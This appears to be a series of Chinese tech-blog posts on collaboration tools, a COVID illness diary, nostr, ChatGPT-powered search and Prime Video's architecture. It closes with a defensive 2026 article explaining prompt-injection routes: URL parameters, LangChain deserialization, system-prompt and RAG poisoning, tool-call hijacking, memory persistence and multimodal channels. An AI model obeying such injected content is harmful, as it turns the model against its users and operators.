但是这个议案其实是可以由大家一起来完成的,所以,连打印或是开会都不需要。试想一下,使用像 Google Doc 这样的协同文档工具,把大家拉到同一个文档里直接创作,不香吗?我在前段时间,在公网上组织大家来帮我完成一个《非常时期的囤货手册》,这篇文章的形成有数百个网友的加持,而我就是在做一个主编的工作,这种工作是 IM 工具无法完成的事。与之类似的协同工具还有大家一起写代码的 Github,大家一起做设计的 Figma……这样创作类的协同工具非常多。另外,好多这些工具都能实时展示别人的创作过程,这个简直是太爽了,你可以通过观看他人创作过程,学习到很多他人的思路和想法,这个在没有协同工具的时代是很难想像的。

好的协同工具是可以互相促进互相激励的,就像一个足球队一样,当你看到你的队友在勇敢地争抢,拼命地奔跑,你也会被感染到的。

所以,好的协同就是能够跟一帮志同道合,有共同目标,有想法,有能力的人一起做个什么事所以,在我心中我最喜欢的协同工具从来都是创作类的,不是管理类的,更不是聊天类的。管理和聊天的协同软件会让你产生一种有产出的假象,但其实不同,这种工具无论做的有多好,都是支持性的工具,不是产出类的工具,不会提升生产力的。

另外,在创作类的协同工具上如果有一些智能小帮手,如:Github 发布的 Copilot。那简直是让人爽翻天了,所以,真正能提升生产力的工具都是在内容上帮得到你的。

结束语

我其实并不喜欢今天所有的 IM 工具,因为我觉得信息不是结构化的,信息是有因果关系和上下文的,是结构化的,是多维度的,不是今天这种线性的方式,我们想像一下“脑图”或是知识图,或是 wikipedia 的网关的关联,我们可能就能想像得到一个更好的 IM 应该是什么 样的……

协同工作的想像空间实在是太大了,我觉得所有的桌面端的软件都会被协作版的重写,虽然,这种协作软件需要有网络的加持,但是协作软件的魅力和诱惑力实在的太大了,让人无法不从……

未来的企业,那些管理类的工具一定会被边缘化的,聊天类的会被打成一个通知中心,而创作类的会大放异彩,让大家直接在要干的事上进行沟通、交互和分享。

写一篇与技术无关的文章,供大家参考。我住北京朝阳,从上周三开始我家一家三口陆续发烧生病,自测抗原后,都是阳性。好消息是,这个奥密克戎跟一般的病毒性感冒差不多,没什么可怕的,不过,整个过程除了发病之外还有一些别的因为感染带出来的事,大家也需要知晓,以准备好,以免造成生活的不便,更好的照顾好自己和家人。

整个过程

我先说一下整个过程(我会不断更新这个过程,直到转阴)。说明一下,我孩子老婆都打过三针国产疫苗,孩子是科兴,老婆是北京生物,我完全没有打

先是我家孩子(12 岁)。上周三(12 月 7 日),孩子早上起来就说头疼,一测体温,38 度 5,就停止上网课,老实休息了,我们并没给孩子吃什么药,到了晚上,孩子的体温到了 39.4,嗓子疼,我老婆用酒精给孩子物理降温(注:事实上最好别用酒精,因为会被皮肤吸收导致副作用),成功降到了 38.2 左右。周四(12 月 8 日),孩子的体温在 38.2 一天,我老婆给孩子吃了莲花清瘟,被我制止了,本来想上退烧药的,但是我想体温也不算高,能不吃就不吃,于是就让孩子冲了个复方感冒冲剂(其实里面含对乙酰氨基酚,后面会说)。周五(12 月 9 日),孩子不停地出汗,到下午体温正常了,然后咳嗽,鼻涕就来了,感冒症状来了,但精神不好,体虚无力。周末休息两天就基本没事了,也转阴了。

接下来就到我了。

周五那天感觉嗓子有点异样,我没怎么在意,周六(12 月 10)就开始发烧了,傍晚 18 点左右,我是手脚冰冷,还有点打冷颤,头晕,嗓子干燥,我就钻被子里了,在半睡不睡的状态下到了 20 点左右,我浑身发烫,我老婆过来给我一量体温,39.8,说要不要也抹点酒精?我想,北京这个季节,物理降温不就上阳台上站一会就好了吗?当然,我就是把窗开了个口,把室温降到 20 度左右,然后,短袖短裤呆了一会就感到清醒了一些。这个时候,我觉得再来碗热汤就好了,我喝不习惯生姜红糖水,又腥又甜,我就自己整了一小锅西红柿蛋花汤,为了让我更能出汗,并适合我的重口味,我又加了点辣椒,一小锅热汤下肚,汗出的不亦乐乎,体温降低到38.4度,我觉的不用再吃药了,当然,嗓子也疼了。但是我舒服了很多,最后还看了下摩洛哥是怎么把C罗送回家的比赛。

周日(12 月 11)是我最难受的一天,全天体温在 38.2左右,从早上就没有精神,吃完早点后,从 10 点一直睡到下午 15 点(因为嗓子疼,所以睡的也不安宁,各种难受), 这天我一会儿就出次汗,但是体温降不下来,始终在 38.2,然后我在犹豫是不是吃布洛芬,但是我感觉体温也不是很高,布洛芬这种药能不吃不不吃。然后,睡前喝了一袋感冒冲剂。周日这天,我婆也发烧,38.5,她全身疼痛,包括嗓子。这一天,我们在家啥也干不了,全家都在床上躲着,只有孩子还能动,所以,有些事只能让孩子去干了,我们也只点外卖了。

周一(12 月 12 日)我早上起来,38.5,开完周会后,看很多人说泰诺有用,然后翻了一下家,居然没找到,算,还是冲两包感冒冲剂得了(后来才知道,中成药里也都是掺了对乙酰氨基酚,看来中医对自己都没什么信心),于是整个下午就在出汗了,我一整天都没有什么食欲,到了下午 17 点左右,体温正常了 36.7,但是晚上又到了 37 度,开始咳痰,轻微流鼻涕,不过感觉没什么事了。而我老婆的烧居然退了,她说她应该好了。

这就是我吃的感冒冲剂。注:为什么 还要整点咖啡因,说明书上说,怕对乙酰氨基酚造成嗜睡,所以用咖啡因来消解,这复方逻辑,毫无破绽啊

周二(12 月 13 日)我早上起床后, 体温还是在 37.2 度,我的嗓子干燥微疼,头也不疼就是头晕,所以,今天睡了两次,一次是中午12 点半到下午 14点半,一次是 16:40 到 19:10,两次都出汗了,而且第二觉睡地太爽了,感觉是这两天睡过最高质量高的觉,而且嗓子不干了也好了,体温正常了 36.8,但是感冒症状出来了,接下来几天休息一下应该就好了。我孩子应该感冒也没有精神,所以一天来也是醒醒睡睡。而我老婆又开始发烧了,还带这样的,跳跃性发烧…… 更不好的是她嗓子已经疼到说不出话,也咽不下东西了,今天她也是床上躺了一天……

周三(12月14日)我今天已经不发烧了,就是频率不高的咳嗽,轻微鼻塞,不过,还是要休息,喝水。我老婆体温还是低烧中,嗓子疼痛好了些,感觉正在恢复中……

整个过程,对我和我孩子来说,不难受,感觉就是发3天烧睡3天,再休息 3 天的样子,嗓子干燥微疼,比以前的病毒性感冒好多了,以前的病毒性感冒导致的嗓子疼我是连咽口水都咽不下去。但是对于我老婆就不一样了,她先是浑身疼痛,嗓子干燥,到现在嗓子疼如刀割,说不出话。这个事可能也因人而异。

继续更新,自我阳性以来半个月了,从 12 月 14 日退烧后,我就一直处在感冒和低频咳嗽中,直到12 月 27 日才发现不咳嗽也不感冒了,但是说话还是有一点鼻音,估计还要 5-7 天就可以完全恢复了。

注意事项

能物理降温就不要吃药来降(应该避免使用酒精擦拭,因为有副作用,用水或冰就可以了),降到 38.5 以下,就可以自己抗了。如果物理降温不奏效,就要吃布洛芬和泰诺(林),这两种药非常有帮助,但是你应该在药店里买不到了,所以,你可以买中成药或复方药,反正里面的中药没有用,而几乎所有的中成药里都被加入了“对乙酰氨基酚”,算是“间接”或“复方”泰诺(林)了。但是,不要多服,不然,药量叠加,会导致你肝肾中毒。参看《这些所谓“中成药”,关键原料是对乙酰氨基酚,服用小心叠加过量

下面文字节选自“默沙东诊疗手册”

最有效和最广泛使用的退热药为对乙酰氨基酚和非甾体抗炎药 (NSAID),如阿司匹林、布洛芬和萘普生。

通常,人们可能采取以下方式之一:


  • 每6小时650毫克对乙酰氨基酚(1天内不超过4000毫克)


  • 每6小时200到400毫克布洛芬

因为许多非处方感冒药或流感制剂含有对乙酰氨基酚,人们一定要注意不要在同一时间服用对乙酰氨基酚和一种或多种这些制剂。

只有当温度达到106°F (41.1°C)左右或更高时,才需要采取其它降温措施(如用温水喷雾和降温毯降温)。避免使用酒精擦拭,因为酒精可被皮肤吸收,可能产生有害效果。

有血液感染或生命体征异常(例如,血压低、脉搏和呼吸速度加快)的人需入院。

另外,一定要多喝水,热水最好。多喝水的原因是:1)布洛芬、对乙酰氨基酚(扑热息痛)等退烧药会让人加速出汗,会导致脱水。2)布洛芬等退烧药主要在肝脏代谢,60%~90%经肾脏随尿排出。多喝水,可加速药物排出体外,减少退烧药对肝肾的损伤。3)排汗和排尿都会帮身体带走一些热量。

具体喝多少水因人而异,一般在2.5升到4升间,主要看你上厕所的频率。我因为前三天都在出汗,所以怎么喝水都不怎么上厕所,这两天我大概一天喝4升左右。总之,发烧吃退烧药更要多喝水。

另外,如果全家都病倒了,那生活就有点不方便了,所以,你得做好一些准备:

1)事先订好桶装水,18L 的那种,让人可以给家里送水,发烧期间用水很快的。

2)生活上的事要做好全家病倒的准备,做饭只能整方便的做的或是速食的了,家里存点牛奶,面包,麦片,火腿肠,水果什么的,保证营养。再不行就点外卖,我家已经点了三天的外卖。还让孩子当个配送员跑腿到菜市场和超市开着视频买东西……

3)还是要提前备药,我是准备用药的时候,发现家里只找到了布洛芬和感冒冲剂,因为我有高血脂,我还要吃瑞舒伐他汀钙片,结果发现我周边 5 公里的药店基本全都休业了,估计店员都阳了。

4)有老人的,要照顾好。有呼吸困难的,一定要送急诊。

根据知乎上的这个通过搜索引擎的测算,第一波的结束大约会在明年春节前结束。最后祝大家好运。

这两天在网络上又有一个东西火了,Twitter 的创始人 @jack 新的社交 iOS App  Damus 上苹果商店(第二天就因为违反中国法律在中国区下架了),这个软件是一个去中心化的 Twitter,使用到的是 nostr – Notes and Other Stuff Transmitted by Relays 的协议(协议简介协议细节),协议简介中有很大的篇幅是在批评Twitter和其相类似的中心化的产品,如:MastodonSecure Scuttlebutt 。我顺着去看了一下这个协议,发现这个协议真是非常的简单,简单到几句话就可以讲清楚了。

目录

通讯过程

  • 这个协议中有两个东西,一个是 client,一个是 relay,client 就是用户社交的客户端,relay 就是转发服务器。
  • 用户不需要注册,用户只需要有一个密钥对(公钥+私钥)就好了,然后把要发的信息做签名,发给一组 relays
  • 然后你的 Follower 就可以从这些 relays 上订阅到你的信息。

技术细节摘要

  • 技术实现上,nostr 使用 websocket + JSON 的方式。其中主要是下面这么几个指令
    • Client 到 Relay主要是下面这几个指令:
      • EVENT。发出事件,可以扩展出很多很多的动作来,比如:发信息,删信息,迁移信息,建 Channel ……扩展性很好。
      • REQ。用于请求事件和订阅更新。收到REQ消息后,relay 会查询其内部数据库并返回与过滤器匹配的事件,然后存储该过滤器,并将其接收的所有未来事件再次发送到同一websocket,直到websocket关闭。
      • CLOSE。用于停止被 REQ 请求的订阅。
    • Relay 到 Client 主要是下面几个指令:
      • EVENT。用于发送客户端请求的事件。
      • NOTICE。用于向客户端发送人类可读的错误消息或其他信息
  • 关于 EVENT 下面是几个常用的基本事件:
    • 0: set_metadata:比如,用户名,用户头像,用户简介等这样的信息。
    • 1: text_note:用户要发的信息内容
    • 2recommend_server:用户想要推荐给关注者的Relay的URL(例如wss://somerelay.com

如何对抗网络审查

那么,这个协议是如何对抗网络审查的?

  • 识别你的身份是通过你的签名,所以,只要你的私钥还在,你是不会被删号的
  • 任何人都可以运行一个或多个relay,所以,就很难有人控制所有的relay
  • 你还可以很方便的告诉其中的 relay 把你发的信息迁到另一个 relay 上
  • 你的信息是一次发给多个relay的,所以,只要不是所有的热门realy封了你,你就可以发出信息
  • 每个relay的运营者都可以自己制定规则,会审查哪些类型内容。用户据此选择即可。基本不会有一个全局的规则。
  • 如果你被全部的relay封了,你还是可以自建你的relay,然后,你可以通过各种方式告诉你身边的人你的relay服务器是什么?这样,他们把这个relay服务器加到他们的client列表中,你又可以从社死中复活了。

嗯,听起来很简单,整个网络是构建在一种 “社区式”的松散结构,完全可能会出现若干个 relay zone。这种架构就像是互联网的架构,没有中心化,比如 DNS服务器和Email服务器一样,只要你愿意,你完全可以发展出自己圈子里的“私服”。

其实,电子邮件是很难被封禁和审查的。我记得2003年中国非典的时候,我当时在北京,当时的卫生部部长说已经控制住了,才12个人感染,当局也在控制舆论和删除互联网上所有的真实信息。但是,大家都在用电子邮件传播信息,当时基本没有什么社交软件,大家分享信息都是通过邮件,尤其是外企工作的圈子,当时每天都要收很多的非典的群发邮件,大家还都是用公司的邮件服务器发……这种松散的,点对点的架构,让审查是基本不可能的。其实,我觉得 nostr 就是另外一个变种或是升级版的 email 的形式

如何对抗Spam和骗子

但是问题来了,如果不能删号封人的话,那么如何对抗那些制造Spam,骗子或是反人类的信息呢?nostr目前的解决方案是通过比特币闪电网络。比如有些客户端实现了如果对方没有follow 你,如果给他发私信,需要支付一点点btc ,或是relay要求你给btc才给你发信息(注:我不认为这是一个好的方法,因为:1)因为少数的坏人让大多数正常人也要跟着付出成本,这是个糟糕的治理方式,2)不鼓励那些生产内容的人,那么平台就没有任何价值了)。

不过,我觉得也有可以有下面的这些思路:

  • 用户主动拉黑,但很明显这个效率不高,而且体验不好
  • 社区或是同盟维护一个黑名单,relay定期更新(如同email中防垃圾邮件也是这样搞的),这其实也是审查。
  • 防Spam的算法过滤垃圾信息(如同email中干的),自动化审查。
  • 增加发Spam的成本,如: PoW 工作量证明(比特币的挖矿,最早也是用于Email),发信息要花钱(这个对正常用户伤害太大了)等。
  • ……

总之,还是有相应的方法的,但是一定没有完美解,email对抗了这么多年,你还是可以收到大量的垃圾邮件和钓鱼邮件,所以,我觉得 nostr 也不可能做到……

怎么理解审查

最后,我们要明白的是,无论你用什么方法,审查是肯定需要的,所以,我觉得要完全干掉审查,最终的结果就是一个到处都垃圾内容的地方!

我理解的审查不应该是为权力或是个体服务的,而是为大众和人民服务的,所以,审查必然是要有一个开放和共同决策的流程,而不是独断的

这点可以参考开源软件基金会的运作模式。

  • 最底端的是用户(User)参与开源社区的使用并提供问题和反馈。
  • 用户在使用过程中了解项目情况后贡献代码和文档就可以晋升为贡献者(Contributors),
  • 当贡献者提交一定数量贡献之后就可以晋升为提交者(Committers),此时你将拥有你参与仓库的代码读写权限。
  • 当提交者Committers在社区得到认可后,由项目管理委员会(PMC)选举并产生PMC成员(类似于议员),PMC成员拥有社区相关事务的投票、提名和共同决策权利和义务。

注意下面几点

  • 整个社区的决策者,是要通过自己贡献来挣到被选举权的。
  • 社区所有的工作和决定都是要公开的。
  • 社区的方向和决策都是要投票的,PMC成员有binding的票权,大众也有non-binding的投票权供参考。
  • 如果出现了价值观的不同,那么,直接分裂社区就好了,不同价值观的人加入到不同的社区就好了

如果审查是在这个框架下运作的话,虽然不完美,但至少会在一种公允的基础下运作,是透明公开的,也是集体决策的。

开源软件社区是一个很成功的示范,所以,我觉得只有技术而没有一个良性的可持续运作的社区,是不可能解决问题的,干净整齐的环境是一定要有人打扫和整理的

 

欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu
欢迎关注我 npub1w6r99545cxea6z76e8nvzjxnymjt4nrsddld33almtm78z7fz95s3c94nu

两个月前,我试着想用 ChatGPT 帮我写篇文章《eBPF 介绍》,结果错误百出,导致我又要从头改一遍,从那天我觉得 ChatGPT 生成的内容完全不靠谱,所以,从那天开始我说我不会再用 ChatGPT 来写文章(这篇文章不是由 ChatGPT 生成),因为,在试过一段时间后,我对 ChatGTP 有基于如下的认识:

  1. ChatGPT 不是基于事实,是基于语言模型的,事实对他来说不重要,对他重要的是他能读懂你的问题,并按照一定的套路回答你的问题。
  2. 因为是基于套路的回答,所以,他并不能保证内容是对的,他的目标是找到漂亮的精彩的套路,于是,你会发现,他的内容组织能力和表述还不错,但是只要你认真玩上一段时间,你会发现,ChatGPT 那些表述的套路其实也比较平常一般。它的很多回答其实都不深,只能在表面上。就像 Github 的 Copilot 一样,写不了什么高级的代码,只能帮你写一些常规格式化的代码(当然,这也够了)
ChatGPT 就是一个语言模型,如果不给他足够的数据和信息,它基本就是在胡编乱造

所以,基于上面这两个点认识,以发展的眼光来看问题,我觉得 ChatGPT 这类的 AI 可以成为一个小助理,他的确可以干掉那些初级的脑力工作者,但是,还干不掉专业的人士,这个我估计未来也很难,不过,这也很帅了,因为大量普通的工作的确也很让人费时间和精力,但是有个前提条件——就是ChatGPT所产生的内容必需是真实可靠的,没有这个前提条件的话,那就什么用也没有了

今天,我想从另外一个角度来谈谈 ChatGPT,尤其是我在Youtube上看完了微软的发布会《Introducing your copilot for the web: AI-powered Bing and Microsoft Edge 》,才真正意识到Google 的市值为什么会掉了1000亿美元,是的,谷歌的搜索引擎的霸主位置受到了前所未有的挑战……

我们先来分析一下搜索引擎解决了什么样的用户问题,在我看来搜索引擎解决了如下的问题:

  • 知识或信息索引。查新闻,查股票,查历史,查文档,找答案……
  • 找服务提供商。找卖东西的电商,找帮你修东西的服务,找软件……
  • 信息的准确和可靠。搜索引擎的rank算法保证了最准确、最有用、最权威的信息出现在最前面……(作恶的百度不在此列)

基本上就是上面这几个,搜索引擎在上面这几件事上作的很好,但是,还是有一些东西搜索引擎做的并不好,如:

  • 搜索引擎是基于关键词的,不是基于语义的。所以,搜索引擎并不知道你的真实需求,因此,你会不可避免地要干下面的事,
    • 你经常要不断地增加或调整不同的关键词来提高查询信息的准确度……
    • 你经常要在你查找的信息中进行二次或多次过滤和筛选……
  • 搜索引擎是只能呈现内容,无法解读内容。所以,你找到相关的链接后,你还要花大量的时间来阅读理解,经常性的你不可避免的要干下面的事:
    • 打开一个链接,读到了一大半后,发现你要的内容不在其中,只能关掉再打开一个……
    • 你想要的内容是在的,但是太晦涩,看不懂,太费解,你要找小白友好的版本……
    • 你想要的内容不完整,你需要在很多个链接和网页上做拼图游戏……
    • 内容是无法结构化的展示的,你搜到的东西全都是碎片信息
  • 搜索引擎没有上下文关联,两次搜索是没有关系的。也就是说,人知道的越多,问题也就越多,所以,我们经常会面临下面的问题:
    • 随着我了解的越多,我的信息搜索的会出现分支,这个分支只有我自己的管理,搜索引擎是不关心的,导致我每次都相当于从头开始……
    • 你做计划的时候,你需要从多个不同的搜索中获取你想要的东西,最终组合成你定制化的东西,比如做旅游计划……

好了,我们知道,ChatGPT 这类的技术主要是用来根据用户的需求来按一定的套路来“生成内容”的,只是其中的内容并不怎么可靠,那么,如果把搜索引擎里靠谱的内容交给 ChatGPT 呢?那么,这会是一个多么强大的搜索引擎啊,完全就是下一代的搜索引擎,上面的那些问题完全都可以解决了:

  • 你可以打一段话给搜索引擎,ChatGPT 是读得懂语义的。
  • 因为知道语义,于是在众多搜过结果中,他更知道哪些是你想要的内容。
  • ChatGPT 可以帮你生成 TL;DR,把长文中的要求总结出来形成更易读的短文
  • ChatGPT 可以帮你整理内容,在多个网页中帮你整合和结构化内容
  • ChatGPT 可以有上下文对话,你可以让他帮你不断通过更多的关键词搜索信息,并在同一个主题下生成、组织和优化内容

一旦 ChatGPT 利用上了搜索引擎内容准确和靠谱的优势,那么,ChatGPT 的能力就完全被释放出来了,所以,带 ChatGPT 的搜索引擎,就是真正的“如虎添翼”!

因此,微软的 Bing + ChatGPT,成为了 Google 有史以来最大的挑战者,我感觉——所有跟信息或是文字处理相关的软件应用和服务,都会因为 ChatGPT 而且全部重新洗一次牌的,这应该会是新一轮的技术革命……Copilot 一定会成为下一代软件和应用的标配!

这两天技术圈里热议的一件事就是Amazon的流媒体平台Prime Video在2023年3月22日发布了一篇技术博客《规模化Prime Video的音视频监控服务,成本降低90%》,副标题:“从分布式微服务架构到单体应用程序的转变有助于实现更高的规模、弹性和降低成本”,有人把这篇文章在五一期间转到了reddithacker news 上,在Reddit上热议。这种话题与业内推崇的微服务架构形成了鲜明的对比。从“微服务架构”转“单体架构”,还是Amazon干的,这个话题足够劲爆。然后DHH在刚喷完Typescript后继续发文《即便是亚马逊也无法理解Servless或微服务》,继续抨击微服务架构,于是,瞬间引爆技术圈,登上技术圈热搜。

今天上午有好几个朋友在微信里转了三篇文章给我,如下所示:

看看这些标题就知道这些文章要的是流量而不是好好写篇文章。看到第二篇,你还真当 Prime Video 就是 Amazon 的全部么?然后,再看看这些文章后面的跟风评论,我觉得有 80%的人只看标题,而且是连原文都不看的。所以,我想我得写篇文章了……

原文解读

要认清这个问题首先是要认认真真读一读原文,Amazon Prime Video 技术团队的这篇文章并不难读,也没有太多的技术细节,但核心意思如下:

1)这个系统是一个监控系统,用于监控数据千条用户的点播视频流。主要是监控整个视频流运作的质量和效果(比如:视频损坏或是音频不同步等问题),这个监控主要是处理视频帧,所以,他们有一个微服务主要是用来把视频拆分成帧,并临时存在 S3 上,就是下图中的 Media Conversion 服务。

2)为了快速搭建系统,Prime Video团队使用了Serverless 架构,也就是著名的 AWS Lambda 和 AWS Step Functions。前置 Lambda 用来做用户请求的网关,Step Function 用来做监控(探测器),有问题后,就发 SNS 上,Step Function 从 S3 获取 Media Conversion 的数据,然后把运行结果再汇总给一个后置的 Lambda ,并存在 S3 上。

整个架构看上去非常简单 ,一点也不复杂,而且使用了 Serverless 的架构,一点服务器的影子都看不见。实话实说,这样的开发不香吗?我觉得很香啊,方便快捷,完全不理那些无聊的基础设施,直接把代码转成服务,然后用 AWS 的 Lamda + Step Function + SNS + S3 分分钟就搭出一个有模有样的监控系统了,哪里不好了?!

但是他们遇到了一个比较大的问题,就是 AWS Step Function 的伸缩问题,从文章中我看到了两个问题(注意前方高能):

  1. 需要很多很多的并发的 AWS Step Function ,于是达到了帐户的 hard limit。
  2. AWS Step Function 按状态转换收费,所以,贵得受不了了。

注意,这里有两个关键点:1)帐户对 Step Function 有限制,2)Step Function 太贵了用不起

然后,Prime Video 的团队开始解决问题,下面是解决的手段:

1) 把 Media Conversion  和 Step Function 全部写在一个程序里,Media Conversion 跟 Step Function 里的东西通过内存通信,不再走S3了。结果汇总到一个线程中,然后写到 S3.

2)把上面这个单体架构进行分布式部署,还是用之前的 AWS Lambda 来做入门调度。

EC2 的水平扩展没有限制,而且你想买多少 CPU/MEM 的机器由你说了算,而这些视频转码,监控分析的功能感觉就不复杂,本来就应该写在一起,这么做不更香吗?当然更香,比前面的 Serverless 的确更香,因为如下的几个原因:

  1. 不再受 Step Function 的限制了,技术在自己手里,有更大的自由度。
  2. 没有昂贵的 Step Function 云成本的确变得更低了,如果你把 Lambda 换成 Nginx 或 Spring Gateway 或是我司的 Easegress,你把 S3 换成 MinIO,你把 SNS 换成 Kafka,你的成本 还能再低。

独立思考

好了,原文解读完了,你有自己的独立思考了吗?下面是我的独立思考,供你参考:

1)AWS 的 Serverless 也好, 微服务也好,单体也好,在合适的场景也都很香。这就跟汽车一样,跑车,货车,越野车各有各的场景,你用跑车拉货,还是用货车泡妞都不是一个很好的决定。

2)这篇文章中的这个例子中的业务太过简单了,本来就是一两个服务就可以干完的事。就是一个转码加分析的事,要分开的话,就两个微服务就好了(一个转码一个分析),做成流式的。如果不想分,合在一起也没问题了,这个粒度是微服务没毛病。微服务的划分有好些原则,我这里只罗列几个比较重要的原则:

  • 边界上下文。微服务的粒度不能大于领域驱动里的 Bounded Context(具体是什么 大家自行 Google),也就是一个业务域。
  • 单一职责,高内聚,低耦合。把因为相同原因变化的合在一起(内聚),把不同原因变化的分开(解耦)
  • 事务和一致性。对于两个重度依赖的功能,需要完成一个事务和要保证强一致性的,最好不要拆开,要放在一起。
  • 跟组织架构匹配。把同一个团队的东西放在一起,不同团队的分开。

3)Prime Video 遇到的问题不是技术问题,而是 AWS  Step Function 处理能力不足,而且收费还很贵的问题。这个是 AWS 的产品问题,不是技术问题。或者说,这个是Prime Video滥用了Step Function的问题(本来这种大量的数据分析处理就不适合Step Function)。所以,大家不要用一个产品问题来得到微服务架构有问题的结论,这个没有因果关系。试问,如果 Step Funciton 可以无限扩展,性能也很好,而且白菜价,那么 Prime Video 团队还会有动力改成单体吗?他们不会反过来吹爆 Serverless 吗?

4)Prime Video 跟 AWS 是两个独立核算的公司,就像 Amazon 的电商和 AWS 一样,也是两个公司。Amazon 的电商和 AWS 对服务化或是微服务架构的理解和运维,我个人认为这个世界上再也找不到另外一家公司了,包括 Google 或 Microsoft。你有空可以看看本站以前的这篇文章《Steve Yegg对Amazon和Google平台的吐槽》你会了解的更多。

5)Prime Video 这个案例本质上是“下云”,下了 AWS Serverless 的云。云上的成本就是高,一个是费用问题,另一个是被锁定的问题。Prime Video 团队应该很庆幸这个监控系统并不复杂,重写起来也很快,所以,可以很快使用一个更传统的“服务化”+“云计算”的分布式架构,不然,就得像 DHH 那样咬牙下云——《Why We’re Leaving the Cloud》(他们的 SRE 的这篇博文 Our Cloud Spend in 2022说明了下云的困难和节约了多少成本)

后记

最后让我做个我自己的广告。我在过去几年的创业中,帮助了很多公司解决了这些 分布式,微服务,云原生以及云计算成本的问题,如果你也有类似问题。欢迎,跟我联系:[email protected]

另外,我们今年发布了一个平台 MegaEase Cloud,就是想让用户在不失去云计算体验的同时,通过自建高可用基础架构的方式来获得更低的成本(至少降 50%的云计算成本)。目前可以降低成本的方式:

  1. 基础软件:通过开源软件自建,
  2. 内容分发:MinIO + Cloudflare 的免费 CDN,
  3. 马上准备发布的直接与底层IDC合作的廉价GPU计算资源…

欢迎大家试用。

如何访问

注:这两个区完全独立,帐号不互通。因为网络的不可抗力,千万不要跨区使用。

产品演示

介绍文章

 

提示词供应链:从“一键 Reprompt”到“系统提示投毒”

2026 年 LLM 安全的三段式攻防

文章定位:偏工程落地 + 新视角总结
说明:本文只写可用于安全评估与防守的思路,不提供可直接复制用于攻击的载荷、脚本与绕过细节;示例均做“脱敏/占位符化”。

深度技术分析:从攻击面到实现机制

URL参数注入的技术实现链路

Copilot Reprompt 和 ChatGPT 的参数注入本质是前端输入验证缺失导致的上下文污染。这类漏洞的技术关键在于参数直接进入模型推理路径,绕过了常规的输入清洗流程。

前端路由层接收参数后,未进行上下文隔离就直接构造API请求。

这种实现让 URL 参数获得了与直接用户输入相同的上下文权重。攻击者可以通过精心构造的 URL,将恶意指令注入到系统提示之后、用户输入之前的位置,形成上下文劫持。

更危险的是某些实现中的自动提交机制。

这种机制下,用户访问恶意链接后,不需要任何交互就能触发 LLM 工具调用链。

从攻击链路看,URL 参数注入的成功依赖三个条件的叠加。前端未对参数来源进行可信度标记,后端未区分用户主动输入与被动接收的参数,且模型推理过程中将所有上下文视为同等权重。这三个条件构成了完整的攻击路径。

LangChain CVE-2025-68664 的攻击面展开

LangChain 序列化漏洞的核心危险在于将非结构化的 LLM 输出直接用于框架对象重构。其攻击路径通常涉及以下技术环节。

LLM 输出被解析器误认为 LangChain 特殊对象结构。

实际攻击中,这类漏洞利用了 LangChain 在处理历史对话、工具调用结果时的自动序列化机制。当 LLM 输出包含特殊格式的结构化数据时,反序列化器可能将其当作可信对象处理。

另一个关键攻击向量是通过工具返回值注入。

这种模式下,攻击者控制了外部 API 的返回内容,通过 LLM 工具调用链实现间接注入。

LangChain 框架中存在多个此类攻击面。对话历史存储时的序列化、工具调用结果的对象转换、以及 Prompt 模板的动态加载机制,都可能成为注入点。框架设计时假设 LLM 输出是安全的,但实际工程中这个假设经常不成立。

系统提示投毒的供应链特征

系统提示投毒区别于传统提示注入的核心在于其持久性和全局性。从技术实现角度看,这类攻击通常利用以下系统特性。

多租户环境中的提示词模板复用机制。

这种架构下,单一污染点可以影响整个用户群体。更危险的是当系统提示词存储在可被运营配置修改的数据库中时,所有使用该模板的后续对话都会被植入恶意指令。

企业级应用中常见的一种危险模式是通过管理后台动态编辑系统提示词。

当管理后台存在权限越权或会话劫持时,攻击者可以修改系统提示词模板。这种污染的持续性强于单次会话注入,因为所有新会话都会加载被污染的模板。

更隐蔽的投毒方式是通过外部数据源间接影响系统提示词。例如某些系统允许从知识库文档中提取规则动态追加到系统提示。

这种投毒方式难以检测,因为恶意指令被包装在正常文档内容中,且通过自动化规则提取机制进入系统提示。

间接注入在 RAG 系统中的放大效应

RAG 系统是最容易被忽视的间接注入攻击面。其危险在于检索到的文档内容被系统默认为可信上下文。

攻击者可以通过投递恶意文档到知识库,让检索过程返回带有嵌入指令的内容。

当用户的查询与该文档相似度匹配时,嵌入的指令就会被注入到上下文中。这种攻击方式的隐蔽性在于恶意内容被包装在正常文档内部,且通过语义相关性触发。

RAG 系统中存在多种文档投毒向量。用户上传的文件、网络爬虫获取的网页内容、第三方知识库同步的数据,都可能被注入恶意指令。这些内容在检索后直接进入模型上下文,且通常不会经过与用户输入相同的验证流程。

另一种危险的 RAG 注入方式是通过跨模态检索。

当 OCR 提取的图片文本中包含嵌入指令时,这类攻击尤其难以检测,因为图片内容的来源和真实性的验证成本较高。

工具调用链的权限边界消解

现代 Agent 系统中,工具调用是最危险的能力出口。其风险核心在于 LLM 可能被诱导执行超出用户意图的操作。

攻击者可以通过控制 context 中的外部内容,诱导 LLM 选择高风险工具。

这种攻击成功的关键在于系统没有区分工具调用权限的来源。当外部内容被允许影响工具调用决策时,整个权限边界就被消解了。

更复杂的工具链攻击涉及多步骤的权限提升。

当系统未对工具调用的来源进行追踪时,攻击者可以构造看似合理的多步骤任务链,逐步提升权限并最终执行高危操作。

记忆系统的双刃剑效应

记忆功能的开启让单次会话的攻击可以持续影响未来所有会话。从攻击者角度看,这相当于获得了一个持久化的配置修改接口。

一旦恶意内容被写入长期记忆,后续所有会话都会在上下文中包含这些内容。更危险的是,某些实现中记忆内容会被优先级处理,甚至可以覆盖系统提示词的某些部分。

多租户环境中的交叉污染风险

多租户 SaaS 应用中的提示词污染具有特殊的危险性。当多个用户共享同一套系统提示词模板或 RAG 知识库时,一个租户的恶意内容可能影响其他租户。

当系统未正确隔离租户间的模板更新权限时,恶意租户可能修改共享的基础模板,影响所有其他租户。

函数调用劫持的实现机制

函数调用劫持是比直接注入更危险的攻击形式。攻击者只需要在上下文中植入特定的触发模式,当模型遇到匹配的语义场景时会自动调用危险函数。

实际攻击场景中,函数调用劫持通常利用模型对上下文来源的误判。

当系统未实现上下文来源追踪时,攻击者可以通过在 RAG 检索结果中埋入函数调用触发器。

当用户的查询与这份恶意文档语义相近时,模型可能会误认为这是系统标准的应急流程,从而调用危险的函数。

多模态注入向量的隐蔽性

多模态 LLM 系统中的注入攻击具有更高的隐蔽性。攻击者可以将恶意指令编码在图片、音频甚至视频中,通过非文本通道绕过常规的内容过滤。

图片中的隐藏文字是最常见的多模态注入向量。

